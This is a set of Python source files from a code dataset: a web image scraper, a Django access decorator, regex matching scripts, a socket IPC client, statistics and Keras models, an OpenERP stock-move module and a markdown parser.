'html.parser')\n\nalist = soup.find(\"div\",class_=\"piclist\").find_all('a')\nweblink = []\nfor link in alist:\n glink = link.get('href','default')\n if glink == 'default':\n break\n else:\n weblink.append('https://www.4493.com/' + glink[1:21])\n\n\nfor ttlink in weblink:\n i = 1\n while (i < 10):\n url = ttlink + str(i) + \".htm\"\n user_agent = 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6'\n values = {'username' : 'cqc', 'password' : 'XXXX' }\n headers = {'User-Agent' : user_agent}\n data = urllib.urlencode(values)\n request = urllib2.Request(url,data,headers)\n response = urllib2.urlopen(request)\n htmlreader = response.read()\n soup = BeautifulSoup(htmlreader, 'html.parser')\n img = soup.find(\"div\",class_=\"picsbox picsboxcenter\").find('img')\n src = img['src']\n name = 'kogirl' + ttlink[-7:-1] + '_' + str(i)\n with open(name + '.jpg', 'ab') as img_object:\n img_content = urllib2.urlopen(src).read()\n img_object.write(img_content)\n img_object.flush()\n i = i + 1\n","sub_path":"pachong.py","file_name":"pachong.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"515567265","text":"from django.http import HttpResponseRedirect\n\nfrom .models import ClientUser\n\n\ndef creator_required(f):\n \"\"\"restrict manipulation operations on a user to the administrator who created them\"\"\"\n def check(request, userid, *args, **kwargs):\n try:\n admin = ClientUser.objects.filter(id=userid).values()[0]['admin_id']\n except:\n admin = None\n if request.user.id != admin:\n return HttpResponseRedirect('/')\n\n return f(request, userid, *args, **kwargs)\n\n return check\n","sub_path":"administrator/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"383639503","text":"import re\n\ntimeFile = open(\"MilitaryTime.txt\",\"r\")\nspeciesFile = open(\"Species.txt\",\"r\")\nSSNFile = open(\"SSN.txt\",\"r\")\n\n\ntime = re.compile(\"(12:\\d\\d|13:\\d\\d|14:\\d\\d|15:\\d\\d|16:\\d\\d|17:\\d\\d|18:\\d\\d|19:\\d\\d|20:\\d\\d|21:\\d\\d|22:\\d\\d|23:\\d\\d|24:00)\")\nspecies = re.compile(\"[A-Z]\\.\\s\\w+\")\nSSN = re.compile(\"\\d\\d\\d-\\d\\d-\\d\\d\\d\")\n\nprint(\"Matches in MilitaryTime.txt\")\nfor ln in timeFile:\n ln.strip()\n if re.search(time, ln) is not None:\n print(ln)\n \nprint(\"Matches in Species.txt\")\nfor ln in speciesFile:\n ln.strip()\n if re.search(species, ln) is not None:\n print(ln)\n \nprint(\"Matches in SSN.txt\")\nfor ln in SSNFile:\n ln.strip()\n if re.search(SSN, ln) is not None:\n print(ln)\n \ntimeFile.close()\nspeciesFile.close()\nSSNFile.close()\n","sub_path":"pythonCode2.py","file_name":"pythonCode2.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"235725881","text":"'''below code are my personal practise from below link:\n http://www.blog.pythonlibrary.org/2012/06/07/python-101-how-to-download-a-file/\nwritten under python 3.4\n'''\nimport urllib.request\nimport urllib.parse\nimport urllib.error\n\nurl = 'http://www.blog.pythonlibrary.org/wp-content/uploads/2012/06/wxDbViewer.zip'\n\nprint('downloading with urllib')\n\nf = urllib.request.urlopen(url)\ndata = f.read()\nwith open('d:/filepulled.zip', 'wb') as code:\n code.write(data)\nprint('Bingo')\n","sub_path":"py/PullFile.py","file_name":"PullFile.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"113958258","text":"import socket\n#import os\n\nclass IPC_client:\n def __init__(self, server_address, buffer_size=16384): #32768\n self.buffer_size = buffer_size\n self.server_address = server_address\n print('socket connecting to %s' % self.server_address)\n self.connect()\n \n def __del__(self):\n self.sock.close()\n #os.unlink(file)\n print('socket closed: %s'%self.server_address)\n\n def connect(self):\n # Create a UDS socket\n self.sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n self.sock.connect(self.server_address)\n\n def reconnect(self):\n print('socket reconnect to %s' % self.server_address)\n self.sock.close()\n self.connect()\n \n def _read(self, buffer_size):\n data = self.sock.recv(buffer_size)\n #print('%i,%.2f'%(len(data), len(data)/buffer_size))\n return data, len(data)==buffer_size\n\n def send(self, message):\n data = message.encode()\n ret = None\n try:\n ret = self.sock.sendall(data)\n except socket.error as e:\n print('socket error: ', e)\n self.reconnect()\n ret = self.sock.sendall(data)\n except IOError as e:\n if e.errno == errno.EPIPE:\n raise Exception('IOError (EPIPE): broken pipe')\n else:\n raise Exception('IOError other: ', e)\n return ret==None\n \n def receive(self):\n data, overflow = self._read(self.buffer_size)\n while(overflow):\n msg, overflow = self._read(self.buffer_size)\n data += msg\n \n #print('received %i bytes: \"%s...\"' % (len(data),data[:10]))\n return data.decode()\n \n def query(self,message):\n if not self.send(message):\n return None\n return self.receive()\n\n","sub_path":"PyModules/ipc_client.py","file_name":"ipc_client.py","file_ext":"py","file_size_in_byte":1850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"521677293","text":"from scipy.optimize import minimize\r\nimport math\r\nimport numpy as np\r\n\r\ndef get_measurements(data: list) -> dict:\r\n import scipy.stats\r\n import numpy as np\r\n measurements = {}\r\n \r\n miu_3 = scipy.stats.moment(data, 3)\r\n miu_4 = scipy.stats.moment(data, 4)\r\n mean = np.mean(data)\r\n variance = np.var(data, ddof=1)\r\n skewness = miu_3 / pow(np.std(data, ddof=1),3)\r\n kurtosis = miu_4 / pow(np.std(data, ddof=1),4)\r\n median = np.median(data)\r\n mode = scipy.stats.mode(data)[0][0]\r\n \r\n measurements.mean = mean\r\n measurements.variance = variance\r\n measurements.skewness = skewness\r\n measurements.kurtosis = kurtosis\r\n measurements.data = data\r\n measurements.median = median\r\n measurements.mode = mode\r\n \r\n return measurements\r\n\r\ndef getData(direction):\r\n file = open(direction,'r')\r\n data = [float(x.replace(\",\",\".\")) for x in file.read().splitlines()]\r\n return data\r\n\r\npath = \"../data/data_cauchy.txt\"\r\ndata = getData(path) \r\nmeasurements = MEASUREMENTS(data)\r\n\r\nx0, gamma = 50, 100\r\n\r\ndef objective(x, data):\r\n x0, gamma = x\r\n return -sum([math.log(1/(math.pi * gamma * (1 + ((d - x0)/gamma)**2))) for d in measurements.data])\r\n\r\nbnds = [(-np.inf, np.inf),(0,np.inf)]\r\nsol = minimize(objective, [46.17,108.45], args = (measurements.data), method=\"SLSQP\", bounds = bnds)\r\nprint(sol)","sub_path":"continious/utilities/estimaciones/cauchy_estimaciones.py","file_name":"cauchy_estimaciones.py","file_ext":"py","file_size_in_byte":1360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"539970510","text":"from keras import layers, models, optimizers\nfrom keras import backend as K\n\n\nclass Critic:\n \"\"\"Critic (Value) Model.\"\"\"\n\n def __init__(self, state_size, action_size):\n \"\"\"Initialize a Critic instance.\"\"\"\n self.state_size = state_size\n self.action_size = action_size\n # build the model\n self.build_model()\n\n def build_model(self):\n \"\"\"Build a Critic (Value) model that maps (state, action)> Q_values.\"\"\"\n # Input layers\n states = layers.Input(shape=(self.state_size,), name=\"states\")\n actions = layers.Input(shape=(self.action_size,), name=\"actions\")\n\n # Add some hidden layers to state pathway\n net_states = layers.Dense(units=32, activation=\"relu\")(states)\n net_states = layers.Dense(units=64, activation=\"relu\")(net_states)\n\n # Add some hidden layers to action pathway\n net_actions = layers.Dense(units=32, activation=\"relu\")(actions)\n net_actions = layers.Dense(units=64, activation=\"relu\")(net_actions)\n\n # Combine both pathways\n net = layers.Add()([net_states, net_actions])\n net = layers.Activation('relu')(net)\n\n Q_values = layers.Dense(units=1, name='q_values')(net)\n\n self.model = models.Model(inputs=[states, actions], outputs=Q_values)\n\n optimizer = optimizers.Adam()\n self.model.compile(optimizer=optimizer, loss='mse')\n\n # Compute action gradients (derivative of Q values w.r.t. to actions)\n action_gradients = K.gradients(Q_values, actions)\n\n # Define an additional function to fetch action gradients (to be used\n # by actor model)\n self.get_action_gradients = K.function(\n inputs=[*self.model.inputs, K.learning_phase()],\n outputs=action_gradients)\n","sub_path":"quadcopter_simulation/agents/ddpg_critic.py","file_name":"ddpg_critic.py","file_ext":"py","file_size_in_byte":1785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"594767115","text":"# -*- encoding: utf-8 -*-\n##############################################################################\n#\n# OpenERP, Open Source Management Solution\n# Copyright (C) 2004-2009 Tiny SPRL (). All Rights Reserved\n# $Id$\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n#\n##############################################################################\n\n\nfrom mx import DateTime\nimport time\nimport netsvc\nfrom osv import fields, osv\nfrom tools import config\nfrom tools.translate import _\nimport tools\n\n# ----------------------------------------------------\n# Move\n# ----------------------------------------------------\n\n#\n# Fields:\n# location_dest_id is only used for predicting futur stocks\n#\n\nclass stock_move(osv.osv):\n def init(self,cr):\n cr.execute(\"Update wkf set on_create=False where name='stock.picking.basic'\")\n \n def _getSSCC(self, cr, uid, context={}):\n cr.execute('select id from stock_tracking where create_uid=%s order by id desc limit 1', (uid,))\n res = cr.fetchone()\n return (res and res[0]) or False\n _name = \"stock.move\"\n _description = \"Stock Move\"\n _inherit = 'stock.move'\n \n def _purchase_order_line_change(self, cr, uid, ids, order_line_id): \n if not order_line_id:\n return {'value': {'move_dest_id':False,\n 'location_id': False,\n 'location_dest_id':False,\n 'product_uom':False,\n 'product_qty':0.0,\n 'product_uos':False,\n 'product_uos_qty': 0.0,\n 'product_id':False,\n 'name':False}}\n \n for pol in self.pool.get('purchase.order.line').browse(cr,uid,[order_line_id]):\n if pol.product_id: \n product_id = pol.product_id.id\n received_qty = 0\n current_id = False\n if ids:\n current_id = ids[0]\n cr.execute(\"Select sum(product_qty) as received_qty from stock_move where purchase_line_id=%d and id<>%d group by purchase_line_id\" % (pol.id,current_id))\n qty_obj=cr.fetchone()\n if qty_obj:\n received_qty = qty_obj[0] \n prod_uom_po = pol.product_uom.id\n qty = pol.plan_qty - received_qty\n movename = 'Receive: %s' % pol.name\n loc_id = pol.order_id.partner_id.property_stock_supplier.id\n dest = pol.order_id.location_id.id\n result={'value':{'name':movename,\n 'product_id': product_id,\n 'product_qty': qty,\n 'product_uos_qty': qty,\n 'product_uom': prod_uom_po,\n 'product_uos': prod_uom_po,\n #'date_planned': order.delivery_date,\n 'location_id': loc_id,\n 'location_dest_id': dest}}\n return result\n \n def name_get(self, cr, uid, ids, context={}):\n res = []\n for line in self.browse(cr, uid, ids, context):\n res.append((line.id, (line.product_id.code or '/')+': '+line.location_id.name+' > '+line.location_dest_id.name))\n return res\n\n def _check_tracking(self, cr, uid, ids):\n for move in self.browse(cr, uid, ids):\n if not move.prodlot_id and \\\n (move.state == 'done' and \\\n ( \\\n (move.product_id.track_production and move.location_id.usage=='production') or \\\n (move.product_id.track_production and move.location_dest_id.usage=='production') or \\\n (move.product_id.track_incoming and move.location_id.usage=='supplier') or \\\n (move.product_id.track_outgoing and move.location_dest_id.usage=='customer') \\\n )):\n return False\n return True\n\n def _check_product_lot(self, cr, uid, ids):\n for move in self.browse(cr, uid, ids):\n if move.prodlot_id and (move.prodlot_id.product_id.id != move.product_id.id):\n return False\n return True\n\n _columns = {\n 'name': fields.char('Name', size=64,select=True),\n 'priority': fields.selection([('0', 'Not urgent'), ('1', 'Urgent')], 'Priority'),\n\n 'date': fields.datetime('Date Created'),\n 'date_planned': fields.datetime('Date', help=\"Scheduled date for the movement of the products or real date if the move is done.\"),\n\n 'product_id': fields.many2one('product.product', 'Product', required=True, select=True),\n\n 'product_qty': fields.float('Quantity', required=True),\n 'product_uom': fields.many2one('product.uom', 'Product UOM'),\n 'product_uos_qty': fields.float('Quantity (UOS)'),\n 'product_uos': fields.many2one('product.uom', 'Product UOS'),\n 'product_packaging': fields.many2one('product.packaging', 'Packaging'),\n\n 'location_id': fields.many2one('stock.location', 'Source Location',select=True),\n 'location_dest_id': fields.many2one('stock.location', 'Dest. Location', select=True),\n 'address_id': fields.many2one('res.partner.address', 'Dest. Address'),\n\n 'prodlot_id': fields.many2one('stock.production.lot', 'Production Lot', help=\"Production lot is used to put a serial number on the production\"),\n 'tracking_id': fields.many2one('stock.tracking', 'Tracking Lot', select=True, help=\"Tracking lot is the code that will be put on the logistical unit/pallet\"),\n# 'lot_id': fields.many2one('stock.lot', 'Consumer lot', select=True, readonly=True),\n\n 'auto_validate': fields.boolean('Auto Validate'),\n\n 'move_dest_id': fields.many2one('stock.move', 'Dest. Move'),\n 'move_history_ids': fields.many2many('stock.move', 'stock_move_history_ids', 'parent_id', 'child_id', 'Move History'),\n 'move_history_ids2': fields.many2many('stock.move', 'stock_move_history_ids', 'child_id', 'parent_id', 'Move History'),\n 'picking_id': fields.many2one('stock.picking', 'Packing List', select=True,ondelete='cascade'),\n\n 'note': fields.text('Notes'),\n\n 'state': fields.selection([('draft', 'Draft'), ('waiting', 'Waiting'), ('confirmed', 'Confirmed'), ('assigned', 'Available'), ('done', 'Done'), ('cancel', 'Canceled')], 'Status', readonly=True, select=True),\n 'price_unit': fields.float('Unit Price',\n digits=(16, int(config['price_accuracy']))),\n }\n _constraints = [\n (_check_tracking,\n 'You must assign a production lot for this product',\n ['prodlot_id']),\n (_check_product_lot,\n 'You try to assign a lot which is not from the same product',\n ['prodlot_id'])]\n\n def _default_location_destination(self, cr, uid, context={}):\n if context.get('move_line', []):\n if context['move_line'][0]:\n if isinstance(context['move_line'][0], (tuple, list)):\n return context['move_line'][0][2] and context['move_line'][0][2]['location_dest_id'] or False\n else:\n move_list = self.pool.get('stock.move').read(cr, uid, context['move_line'][0], ['location_dest_id'])\n return move_list and move_list['location_dest_id'][0] or False\n if context.get('address_out_id', False):\n return self.pool.get('res.partner.address').browse(cr, uid, context['address_out_id'], context).partner_id.property_stock_customer.id\n return False\n\n def _default_location_source(self, cr, uid, context={}):\n if context.get('move_line', []):\n try:\n return context['move_line'][0][2]['location_id']\n except:\n pass\n if context.get('address_in_id', False):\n return self.pool.get('res.partner.address').browse(cr, uid, context['address_in_id'], context).partner_id.property_stock_supplier.id\n return False\n\n _defaults = {\n 'location_id': _default_location_source,\n 'location_dest_id': _default_location_destination,\n 'state': lambda *a: 'draft',\n 'priority': lambda *a: '1',\n 'product_qty': lambda *a: 1.0,\n 'date_planned': lambda *a: time.strftime('%Y-%m-%d %H:%M:%S'),\n 'date': lambda *a: time.strftime('%Y-%m-%d %H:%M:%S'),\n }\n\n def _auto_init(self, cursor, context):\n res = super(stock_move, self)._auto_init(cursor, context)\n cursor.execute('SELECT indexname \\\n FROM pg_indexes \\\n WHERE indexname = \\'stock_move_location_id_location_dest_id_product_id_state\\'')\n if not cursor.fetchone():\n cursor.execute('CREATE INDEX stock_move_location_id_location_dest_id_product_id_state \\\n ON stock_move (location_id, location_dest_id, product_id, state)')\n cursor.commit()\n return res\n\n def onchange_lot_id(self, cr, uid, ids, prodlot_id=False, product_qty=False, loc_id=False, context=None):\n if not prodlot_id or not loc_id:\n return {}\n ctx = context and context.copy() or {}\n ctx['location_id'] = loc_id\n prodlot = self.pool.get('stock.production.lot').browse(cr, uid, prodlot_id, ctx)\n location = self.pool.get('stock.location').browse(cr, uid, loc_id)\n warning = {}\n if (location.usage == 'internal') and (product_qty > (prodlot.stock_available or 0.0)):\n warning = {\n 'title': 'Bad Lot Assignation !',\n 'message': 'You are moving %.2f products but only %.2f available in this lot.' % (product_qty, prodlot.stock_available or 0.0)\n }\n return {'warning': warning}\n\n def onchange_product_id(self, cr, uid, ids, prod_id=False, loc_id=False, loc_dest_id=False):\n if not prod_id:\n return {}\n product = self.pool.get('product.product').browse(cr, uid, [prod_id])[0]\n result = {\n 'name': product.name,\n 'product_uom': product.uom_id.id,\n }\n if loc_id:\n result['location_id'] = loc_id\n if loc_dest_id:\n result['location_dest_id'] = loc_dest_id\n return {'value': result}\n\n def _chain_compute(self, cr, uid, moves, context={}):\n result = {}\n for m in moves:\n dest = self.pool.get('stock.location').chained_location_get(\n cr,\n uid,\n m.location_dest_id,\n m.picking_id and m.picking_id.address_id and m.picking_id.address_id.partner_id,\n m.product_id,\n context\n )\n if dest:\n if dest[1] == 'transparent':\n self.write(cr, uid, [m.id], {\n 'date_planned': (DateTime.strptime(m.date_planned, '%Y-%m-%d %H:%M:%S') + \\\n DateTime.RelativeDateTime(days=dest[2] or 0)).strftime('%Y-%m-%d'),\n 'location_dest_id': dest[0].id})\n else:\n result.setdefault(m.picking_id, [])\n result[m.picking_id].append( (m, dest) )\n return result\n\n def action_confirm(self, cr, uid, ids, context={}):\n# ids = map(lambda m: m.id, moves)\n moves = self.browse(cr, uid, ids)\n self.write(cr, uid, ids, {'state': 'confirmed'})\n i = 0\n\n def create_chained_picking(self, cr, uid, moves, context):\n new_moves = []\n for picking, todo in self._chain_compute(cr, uid, moves, context).items():\n ptype = self.pool.get('stock.location').picking_type_get(cr, uid, todo[0][0].location_dest_id, todo[0][1][0])\n pickid = self.pool.get('stock.picking').create(cr, uid, {\n 'name': picking.name,\n 'origin': str(picking.origin or ''),\n 'type': ptype,\n 'note': picking.note,\n 'move_type': picking.move_type,\n 'auto_picking': todo[0][1][1] == 'auto',\n 'address_id': picking.address_id.id,\n 'invoice_state': 'none'\n })\n for move, (loc, auto, delay) in todo:\n # Is it smart to copy ? May be it's better to recreate ?\n new_id = self.pool.get('stock.move').copy(cr, uid, move.id, {\n 'location_id': move.location_dest_id.id,\n 'location_dest_id': loc.id,\n 'date_moved': time.strftime('%Y-%m-%d'),\n 'picking_id': pickid,\n 'state': 'waiting',\n 'move_history_ids': [],\n 'date_planned': (DateTime.strptime(move.date_planned, '%Y-%m-%d %H:%M:%S') + DateTime.RelativeDateTime(days=delay or 0)).strftime('%Y-%m-%d'),\n 'move_history_ids2': []}\n )\n self.pool.get('stock.move').write(cr, uid, [move.id], {\n 'move_dest_id': new_id,\n 'move_history_ids': [(4, new_id)]\n })\n new_moves.append(self.browse(cr, uid, [new_id])[0])\n wf_service = netsvc.LocalService(\"workflow\")\n wf_service.trg_validate(uid, 'stock.picking', pickid, 'button_confirm', cr)\n if new_moves:\n create_chained_picking(self, cr, uid, new_moves, context)\n create_chained_picking(self, cr, uid, moves, context)\n return []\n\n def action_assign(self, cr, uid, ids, *args):\n todo = []\n for move in self.browse(cr, uid, ids):\n if move.state in ('confirmed', 'waiting'):\n todo.append(move.id)\n res = self.check_assign(cr, uid, todo)\n return res\n\n def force_assign(self, cr, uid, ids, context={}):\n self.write(cr, uid, ids, {'state': 'assigned'})\n return True\n\n def cancel_assign(self, cr, uid, ids, context={}):\n self.write(cr, uid, ids, {'state': 'confirmed'})\n return True\n\n #\n # Duplicate stock.move\n #\n def check_assign(self, cr, uid, ids, context={}):\n done = []\n count = 0\n pickings = {}\n for move in self.browse(cr, uid, ids):\n if move.product_id.type == 'consu':\n if move.state in ('confirmed', 'waiting'):\n done.append(move.id)\n pickings[move.picking_id.id] = 1\n continue\n if move.state in ('confirmed', 'waiting'):\n res = self.pool.get('stock.location')._product_reserve(cr, uid, [move.location_id.id], move.product_id.id, move.product_qty, {'uom': move.product_uom.id})\n if res:\n #_product_available_test depends on the next status for correct functioning\n #the test does not work correctly if the same product occurs multiple times\n #in the same order. This is e.g. the case when using the button 'split in two' of \n #the stock outgoing form \n self.write(cr, uid, move.id, {'state':'assigned'})\n done.append(move.id)\n pickings[move.picking_id.id] = 1\n r = res.pop(0)\n cr.execute('update stock_move set location_id=%s, product_qty=%s where id=%s', (r[1], r[0], move.id))\n\n while res:\n r = res.pop(0)\n move_id = self.copy(cr, uid, move.id, {'product_qty': r[0], 'location_id': r[1]})\n done.append(move_id)\n #cr.execute('insert into stock_move_history_ids values (%s,%s)', (move.id,move_id))\n if done:\n count += len(done)\n self.write(cr, uid, done, {'state': 'assigned'})\n\n if count:\n for pick_id in pickings:\n wf_service = netsvc.LocalService(\"workflow\")\n wf_service.trg_write(uid, 'stock.picking', pick_id, cr)\n return count\n\n #\n # Cancel move => cancel others move and pickings\n #\n def action_cancel(self, cr, uid, ids, context={}):\n if not len(ids):\n return True\n pickings = {}\n for move in self.browse(cr, uid, ids):\n if move.state in ('confirmed', 'waiting', 'assigned', 'draft'):\n if move.picking_id:\n pickings[move.picking_id.id] = True\n if move.move_dest_id and move.move_dest_id.state == 'waiting':\n self.write(cr, uid, [move.move_dest_id.id], {'state': 'assigned'})\n if move.move_dest_id.picking_id:\n wf_service = netsvc.LocalService(\"workflow\")\n wf_service.trg_write(uid, 'stock.picking', move.move_dest_id.picking_id.id, cr)\n self.write(cr, uid, ids, {'state': 'cancel', 'move_dest_id': False})\n\n for pick in self.pool.get('stock.picking').browse(cr, uid, pickings.keys()):\n if all(move.state == 'cancel' for move in pick.move_lines):\n self.pool.get('stock.picking').write(cr, uid, [pick.id], {'state': 'cancel'})\n\n wf_service = netsvc.LocalService(\"workflow\")\n for id in ids:\n wf_service.trg_trigger(uid, 'stock.move', id, cr)\n #self.action_cancel(cr,uid, ids2, context)\n return True\n\n def action_done(self, cr, uid, ids, context=None):\n track_flag = False\n for move in self.browse(cr, uid, ids):\n if move.move_dest_id.id and (move.state != 'done'):\n cr.execute('insert into stock_move_history_ids (parent_id,child_id) values (%s,%s)', (move.id, move.move_dest_id.id))\n if move.move_dest_id.state in ('waiting', 'confirmed'):\n self.write(cr, uid, [move.move_dest_id.id], {'state': 'assigned'})\n if move.move_dest_id.picking_id:\n wf_service = netsvc.LocalService(\"workflow\")\n wf_service.trg_write(uid, 'stock.picking', move.move_dest_id.picking_id.id, cr)\n else:\n pass\n # self.action_done(cr, uid, [move.move_dest_id.id])\n if move.move_dest_id.auto_validate:\n self.action_done(cr, uid, [move.move_dest_id.id], context=context)\n\n #\n # Accounting Entries\n #\n acc_src = None\n acc_dest = None\n if move.location_id.account_id:\n acc_src = move.location_id.account_id.id\n if move.location_dest_id.account_id:\n acc_dest = move.location_dest_id.account_id.id\n if acc_src or acc_dest:\n test = [('product.product', move.product_id.id)]\n if move.product_id.categ_id:\n test.append( ('product.category', move.product_id.categ_id.id) )\n if not acc_src:\n acc_src = move.product_id.product_tmpl_id.\\\n property_stock_account_input.id\n if not acc_src:\n acc_src = move.product_id.categ_id.\\\n property_stock_account_input_categ.id\n if not acc_src:\n raise osv.except_osv(_('Error!'),\n _('There is no stock input account defined ' \\\n 'for this product: \"%s\" (id: %d)') % \\\n (move.product_id.name,\n move.product_id.id,))\n if not acc_dest:\n acc_dest = move.product_id.product_tmpl_id.\\\n property_stock_account_output.id\n if not acc_dest:\n acc_dest = move.product_id.categ_id.\\\n property_stock_account_output_categ.id\n if not acc_dest:\n raise osv.except_osv(_('Error!'),\n _('There is no stock output account defined ' \\\n 'for this product: \"%s\" (id: %d)') % \\\n (move.product_id.name,\n move.product_id.id,))\n if not move.product_id.categ_id.property_stock_journal.id:\n raise osv.except_osv(_('Error!'),\n _('There is no journal defined '\\\n 'on the product category: \"%s\" (id: %d)') % \\\n (move.product_id.categ_id.name,\n move.product_id.categ_id.id,))\n journal_id = move.product_id.categ_id.property_stock_journal.id\n if acc_src != acc_dest:\n ref = move.picking_id and move.picking_id.name or False\n product_uom_obj = self.pool.get('product.uom')\n default_uom = move.product_id.uom_id.id\n q = product_uom_obj._compute_qty(cr, uid, move.product_uom.id, move.product_qty, default_uom)\n if move.product_id.cost_method == 'average' and move.price_unit:\n amount = q * move.price_unit\n else:\n amount = q * move.product_id.standard_price\n\n date = time.strftime('%Y-%m-%d')\n partner_id = False\n if move.picking_id:\n partner_id = move.picking_id.address_id and (move.picking_id.address_id.partner_id and move.picking_id.address_id.partner_id.id or False) or False\n lines = [\n (0, 0, {\n 'name': move.name,\n 'quantity': move.product_qty,\n 'credit': amount,\n 'account_id': acc_src,\n 'ref': ref,\n 'date': date,\n 'partner_id': partner_id}),\n (0, 0, {\n 'name': move.name,\n 'quantity': move.product_qty,\n 'debit': amount,\n 'account_id': acc_dest,\n 'ref': ref,\n 'date': date,\n 'partner_id': partner_id})\n ]\n self.pool.get('account.move').create(cr, uid, {\n 'name': move.name,\n 'journal_id': journal_id,\n 'line_id': lines,\n 'ref': ref,\n })\n self.write(cr, uid, ids, {'state': 'done', 'date_planned': time.strftime('%Y-%m-%d %H:%M:%S')})\n wf_service = netsvc.LocalService(\"workflow\")\n for id in ids:\n wf_service.trg_trigger(uid, 'stock.move', id, cr)\n return True\n\n def unlink(self, cr, uid, ids, context=None):\n for move in self.browse(cr, uid, ids, context=context):\n if move.state != 'draft':\n raise osv.except_osv(_('UserError'),\n _('You can only delete draft moves.'))\n return super(stock_move, self).unlink(\n cr, uid, ids, context=context)\n\nstock_move()","sub_path":"src/kdvn_purchase/kdvn_stock_move.py","file_name":"kdvn_stock_move.py","file_ext":"py","file_size_in_byte":24068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"173525405","text":"from __future__ import absolute_import, division, print_function\r\nimport numpy as np \r\nimport tensorflow as tf \r\n\r\n#from tensorflow import keras\r\n#from tensorflow.keras import datasets, layers, models\r\nmnist = tf.keras.datasets.mnist\r\n\r\n(train_images, train_labels), (test_images, test_labels) = tf.keras.datasets.mnist.load_data()\r\n#(train_data, train_labels), (eval_data, eval_labels) = tf.keras.datasets.mnist.load_data()\r\n\r\n\r\ntrain_images = train_images.reshape((60000, 28, 28, 1))\r\ntest_images = test_images.reshape((10000, 28, 28, 1))\r\n\r\ntrain_images, test_images = train_images/255.0, test_images/255.0\r\n\r\nmodel = tf.keras.models.Sequential()\r\nmodel.add(tf.keras.layers.Conv2D(32, (3,3), activation='relu', input_shape=(28,28,1)))\r\nmodel.add(tf.keras.layers.MaxPooling2D((2,2)))\r\nmodel.add(tf.keras.layers.Conv2D(64, (3,3), activation='relu'))\r\nmodel.add(tf.keras.layers.MaxPooling2D((2,2)))\r\nmodel.add(tf.keras.layers.Conv2D(64, (3,3), activation='relu'))\r\n\r\nmodel.add(tf.keras.layers.Flatten())\r\nmodel.add(tf.keras.layers.Dense(64, activation='relu'))\r\nmodel.add(tf.keras.layers.Dense(10, activation='softmax'))\r\nmodel.compile(optimizer='adam',\r\n loss='sparse_categorical_crossentropy',\r\n metrics=['accuracy'])\r\nmodel.fit(train_images, train_labels, epochs=5)\r\n#model.summary()","sub_path":"cnn_team18.py","file_name":"cnn_team18.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"618272821","text":"import difflib\nimport mistune\n\n_debug = False\ndef _debugPrint(header, info, width=80, fillChar=\"-\"):\n if _debug:\n print(\" debug[{}] \".format(header).center(width, fillChar))\n print(info)\n\nfnDbgReport = _debugPrint\n\n(\n BLOCK_CODE, BLOCK_QUOTE, BLOCK_HTML, HEADER, HRULE, LIST, LIST_ITEM, PARAGRAPH, TABLE,\n TABLE_ROW, TABLE_CELL, AUTOLINK, CODESPAN, DOUBLE_EMPHASIS, EMPHASIS, IMAGE, LINEBREAK,\n NEWLINE, LINK, STRIKETHROUGH, TEXT, INLINE_HTML\n) = (\n \"block_code\", \"block_quote\", \"block_html\", \"header\", \"hrule\", \"list\", \"list_item\",\n \"paragraph\", \"table\", \"table_row\", \"table_cell\", \"autolink\", \"codespan\", \"double_emphasis\",\n \"emphasis\", \"image\", \"linebreak\", \"newline\", \"link\", \"strikethrough\", \"text\", \"inline_html\"\n)\n\nclass Item: # pylint: disable=R0903\n def __init__(self):\n self.type = None\n self.lineNum = 0\n\nclass HeaderItem(Item): # pylint: disable=R0903\n def __init__(self, *arg):\n super().__init__(*arg)\n self.text = None\n self.level = 0\n self.raw = None\n\nclass MDItemBuilder(mistune.Renderer):\n def __init__(self, *arg):\n super().__init__(*arg)\n self.items = []\n self.lines = None\n self.lineNumDict = None\n\n def header(self, text, level, raw=None):\n item = HeaderItem()\n item.type = HEADER\n item.text = text\n item.level = level\n item.raw = raw\n\n matchList = difflib.get_close_matches(item.raw, self.lines)\n item.lineNum = self.lineNumDict[matchList[0]] if matchList else 0\n self.items.append(item)\n fnDbgReport(\"markdown item info\", \"{0} ### level: {1} type: {2} line: {3}\".format(\n item.raw, item.level, item.type, item.lineNum))\n return \"\"\n\ndef parseFile(filePath, encoding=\"UTF-8\"):\n fnDbgReport(\"parse file path\", filePath)\n\n lines = []\n with open(filePath, encoding=encoding) as f:\n for l in f:\n lines.append(l)\n\n return parseContent(lines)\n\ndef parseContent(lines):\n lineNumDict = {}\n for lineNum, line in enumerate(lines, 1):\n lineNumDict[line] = lineNum\n\n sLines = \"\".join(lines)\n fnDbgReport(\"file content\", sLines)\n\n builder = MDItemBuilder()\n builder.lines = lines\n builder.lineNumDict = lineNumDict\n\n markdown = mistune.Markdown(renderer=builder)\n markdown(sLines)\n return 